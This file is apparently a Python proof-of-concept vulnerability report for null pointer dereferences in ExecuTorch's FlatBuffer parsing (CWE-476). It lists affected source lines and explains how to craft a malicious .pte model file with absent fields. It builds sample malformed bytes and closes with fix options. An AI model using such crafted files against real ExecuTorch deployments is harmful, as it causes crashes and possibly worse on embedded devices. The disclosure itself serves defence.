File size: 14,614 Bytes
3668b5d | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 | #!/usr/bin/env python3
"""
ExecuTorch Null Pointer Dereferences from Unverified FlatBuffer Fields (CWE-476)
==================================================================================
Target: ExecuTorch (pytorch/executorch)
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd
Affected Files:
- runtime/executor/method.cpp:150
compile_specs_in_program->size() when compile_specs is null
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L150
- runtime/executor/method.cpp:180
processed->location() when processed is null
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/method.cpp#L180
- runtime/executor/program.cpp:454
data_list->size() when backend_delegate_data() is null
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L454
- extension/flat_tensor/flat_tensor_data_map.cpp:93-97
sizes->size() / dim_order->size() when fields are null
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/extension/flat_tensor/flat_tensor_data_map.cpp#L93-L97
CWE-476: NULL Pointer Dereference
Description:
FlatBuffer accessor methods return nullptr when an optional field is not
present in the serialized data. ExecuTorch code accesses many of these
optional fields without null checks, assuming the data is always well-formed.
Since ExecuTorch uses only Verification::Minimal (magic check) by default
and FlatTensor/BundledProgram have NO verification, a malicious file can
omit any optional field to trigger null pointer dereferences.
In FlatBuffers schema, most fields are optional by default (they have a
default value or are represented as offset fields that can be 0/absent).
Impact:
Denial of Service via crash. On embedded/bare-metal targets (ExecuTorch's
primary use case), a null deref may not be caught by memory protection,
potentially leading to undefined behavior or exploitable conditions.
"""
import struct
import sys
class FlatBufferField:
"""Represents a FlatBuffer field that may be optional/nullable."""
def __init__(self, name: str, field_type: str, is_optional: bool,
schema_default=None):
self.name = name
self.field_type = field_type
self.is_optional = is_optional
self.schema_default = schema_default
class NullDerefSite:
"""Represents a location where a null FlatBuffer field is dereferenced."""
def __init__(self, file: str, line: int, expression: str,
null_field: str, access_on_null: str,
parent_type: str, notes: str = ""):
self.file = file
self.line = line
self.expression = expression
self.null_field = null_field
self.access_on_null = access_on_null
self.parent_type = parent_type
self.notes = notes
def analyze_flatbuffer_schema():
"""
Analyze which FlatBuffer fields are optional and can return nullptr.
In FlatBuffers:
- Table fields accessed via table->field() return nullptr if absent
- Vector fields return nullptr if the vector is absent
- Scalar fields have defaults and never return nullptr
- String fields return nullptr if absent
"""
# Key optional fields in ExecuTorch's FlatBuffer schemas
optional_fields = {
"Program": [
FlatBufferField("execution_plan", "Vector<ExecutionPlan>", True),
FlatBufferField("constant_buffer", "Vector<Buffer>", True),
FlatBufferField("backend_delegate_data", "Vector<BackendDelegateDataReference>", True),
FlatBufferField("segments", "Vector<DataSegment>", True),
],
"ExecutionPlan": [
FlatBufferField("delegates", "Vector<BackendDelegate>", True),
FlatBufferField("chains", "Vector<Chain>", True),
FlatBufferField("values", "Vector<EValue>", True),
FlatBufferField("inputs", "Vector<int>", True),
FlatBufferField("outputs", "Vector<int>", True),
FlatBufferField("operators", "Vector<Operator>", True),
],
"BackendDelegate": [
FlatBufferField("compile_specs", "Vector<CompileSpec>", True),
FlatBufferField("processed", "BackendDelegateDataReference", True),
],
"BackendDelegateDataReference": [
FlatBufferField("location", "DataLocation", False, "INLINE"),
],
"FlatTensor.TensorMetadata": [
FlatBufferField("sizes", "Vector<int64>", True),
FlatBufferField("dim_order", "Vector<uint8>", True),
FlatBufferField("fully_qualified_name", "String", True),
],
}
return optional_fields
def main():
print("=" * 78)
print("ExecuTorch Null Pointer Dereferences from Unverified FlatBuffer Fields")
print("CWE-476: NULL Pointer Dereference")
print("=" * 78)
print()
# Define all null deref sites
sites = [
NullDerefSite(
file="runtime/executor/method.cpp",
line=150,
expression="compile_specs_in_program->size()",
null_field="delegate->compile_specs()",
access_on_null="->size()",
parent_type="BackendDelegate",
notes=(
"Code: auto compile_specs_in_program = delegate->compile_specs();\n"
" for (size_t j = 0; j < compile_specs_in_program->size(); j++) {\n"
"\n"
"If the BackendDelegate has no compile_specs field in the FlatBuffer,\n"
"delegate->compile_specs() returns nullptr. Calling ->size() on nullptr\n"
"is a null pointer dereference."
)
),
NullDerefSite(
file="runtime/executor/method.cpp",
line=180,
expression="processed->location()",
null_field="delegate->processed()",
access_on_null="->location()",
parent_type="BackendDelegate",
notes=(
"Code: auto processed = delegate->processed();\n"
" if (processed->location() == DataLocation::INLINE) {\n"
"\n"
"If 'processed' is a null BackendDelegateDataReference, calling\n"
"->location() dereferences nullptr."
)
),
NullDerefSite(
file="runtime/executor/program.cpp",
line=454,
expression="data_list->size()",
null_field="program->backend_delegate_data()",
access_on_null="->size()",
parent_type="Program",
notes=(
"Code: auto data_list = program->backend_delegate_data();\n"
" for (size_t i = 0; i < data_list->size(); i++) {\n"
"\n"
"If the Program flatbuffer has no backend_delegate_data field,\n"
"the accessor returns nullptr, and ->size() crashes."
)
),
NullDerefSite(
file="extension/flat_tensor/flat_tensor_data_map.cpp",
line=93,
expression="sizes->size()",
null_field="tensor_metadata->sizes()",
access_on_null="->size()",
parent_type="FlatTensor.TensorMetadata",
notes=(
"Code: auto* sizes = tensor_metadata->sizes();\n"
" auto* dim_order = tensor_metadata->dim_order();\n"
" size_t num_dims = sizes->size();\n"
"\n"
"Both sizes() and dim_order() are optional vector fields.\n"
"If either is absent, the pointer is null and ->size() crashes.\n"
"This is in the .ptd (FlatTensor) loading path which has\n"
"NO FlatBuffer verification at all (only magic check)."
)
),
NullDerefSite(
file="extension/flat_tensor/flat_tensor_data_map.cpp",
line=97,
expression="dim_order->size()",
null_field="tensor_metadata->dim_order()",
access_on_null="->size()",
parent_type="FlatTensor.TensorMetadata",
notes=(
"Code: ET_CHECK_OR_RETURN_ERROR(\n"
" sizes->size() == dim_order->size(), ...);\n"
"\n"
"Even if sizes is non-null, dim_order can independently be null.\n"
"Null dim_order causes crash when comparing sizes."
)
),
]
# -------------------------------------------------------------------------
# Display each null deref site
# -------------------------------------------------------------------------
for i, site in enumerate(sites):
print(f"-" * 78)
print(f"NULL DEREF #{i+1}: {site.file}:{site.line}")
print(f"-" * 78)
print()
print(f" Expression: {site.expression}")
print(f" Null field: {site.null_field}")
print(f" Access: {site.access_on_null}")
print(f" Parent type: {site.parent_type}")
print()
print(f" Details:")
for line in site.notes.split("\n"):
print(f" {line}")
print()
# -------------------------------------------------------------------------
# FlatBuffer optional field analysis
# -------------------------------------------------------------------------
print("=" * 78)
print("FLATBUFFER OPTIONAL FIELD ANALYSIS")
print("=" * 78)
print()
schema = analyze_flatbuffer_schema()
for type_name, fields in schema.items():
print(f" {type_name}:")
for field in fields:
nullable = "NULLABLE (returns nullptr if absent)" if field.is_optional else "non-null (scalar/required)"
print(f" .{field.name}() -> {field.field_type:45s} {nullable}")
print()
# -------------------------------------------------------------------------
# Simulate null deref scenario
# -------------------------------------------------------------------------
print("=" * 78)
print("SIMULATION: Crafting a malicious .pte with null fields")
print("=" * 78)
print()
print(" FlatBuffer encoding of a null/absent field:")
print()
print(" In the vtable, each field has a 2-byte offset entry.")
print(" If this offset is 0, the field is 'not present' and the")
print(" accessor returns nullptr (for tables/vectors/strings).")
print()
print(" Normal vtable entry for 'compile_specs' field:")
print(" vtable[field_index] = 12 // offset 12 from table start")
print(" -> compile_specs() returns pointer to Vector at table+12")
print()
print(" Malicious vtable entry:")
print(" vtable[field_index] = 0 // field absent")
print(" -> compile_specs() returns nullptr")
print(" -> code calls nullptr->size() = CRASH")
print()
# Create a minimal FlatBuffer demonstrating null field encoding
print(" Minimal FlatBuffer bytes demonstrating null field:")
print()
# Construct a minimal flatbuffer with a table that has null fields
# VTable: [vtable_size=8, table_size=8, field0_offset=0, field1_offset=0]
# Table: [vtable_soffset, <no fields because all offsets are 0>]
vtable = struct.pack("<HHHH", 8, 8, 0, 0) # 2 fields, both absent (offset=0)
table_soffset = struct.pack("<i", -(len(vtable))) # negative offset to vtable before table
# Layout: [root_offset][magic][vtable][table]
root_offset = 4 + 4 + len(vtable) # skip root_offset + magic + vtable
header = struct.pack("<I", root_offset)
magic = b"ET12"
buf = header + magic + vtable + table_soffset
print(f" ", " ".join(f"{b:02X}" for b in buf))
print()
print(f" Bytes 0-3: root_offset = {root_offset} (points to table)")
print(f" Bytes 4-7: magic = 'ET12'")
print(f" Bytes 8-9: vtable_size = 8")
print(f" Bytes 10-11: table_size = 8")
print(f" Bytes 12-13: field[0] offset = 0 (ABSENT -> nullptr)")
print(f" Bytes 14-15: field[1] offset = 0 (ABSENT -> nullptr)")
print(f" Bytes 16-19: table soffset -> vtable")
print()
print(" When any accessor is called for field[0] or field[1],")
print(" FlatBuffers returns nullptr. ExecuTorch code dereferences it.")
print()
# -------------------------------------------------------------------------
# Embedded/bare-metal impact
# -------------------------------------------------------------------------
print("=" * 78)
print("IMPACT ON EMBEDDED/BARE-METAL TARGETS")
print("=" * 78)
print()
print(" ExecuTorch is designed for edge/embedded deployment including:")
print(" - Mobile devices (Android/iOS)")
print(" - Microcontrollers (Cortex-M, RISC-V)")
print(" - DSPs and custom accelerators")
print()
print(" On these platforms:")
print(" - MMU may not be present (bare metal) -> null deref reads address 0")
print(" - No SIGSEGV handler -> undefined behavior, not clean crash")
print(" - Address 0 may be valid memory (interrupt vector table)")
print(" - Null deref can potentially be exploited for code execution")
print()
print(" Even on platforms with MMU (mobile), the null deref causes DoS")
print(" by crashing the inference process with a malicious model file.")
print()
# -------------------------------------------------------------------------
# Summary
# -------------------------------------------------------------------------
print("=" * 78)
print("SUMMARY")
print("=" * 78)
print()
print(f" {len(sites)} null pointer dereference sites identified where optional")
print(" FlatBuffer fields are accessed without null checks:")
print()
for i, site in enumerate(sites):
print(f" {i+1}. {site.file}:{site.line} — {site.expression}")
print()
print(" Root cause: ExecuTorch assumes FlatBuffer data is well-formed")
print(" but only performs magic-byte verification by default.")
print()
print(" Fix options:")
print(" 1. Add null checks before every optional field access")
print(" 2. Enable full FlatBuffer verification (VerifyProgramBuffer)")
print(" 3. Use FlatBuffers 'required' attribute in schema for critical fields")
print(" 4. Add a validation pass that checks all required fields are present")
return 1
if __name__ == "__main__":
sys.exit(main())
|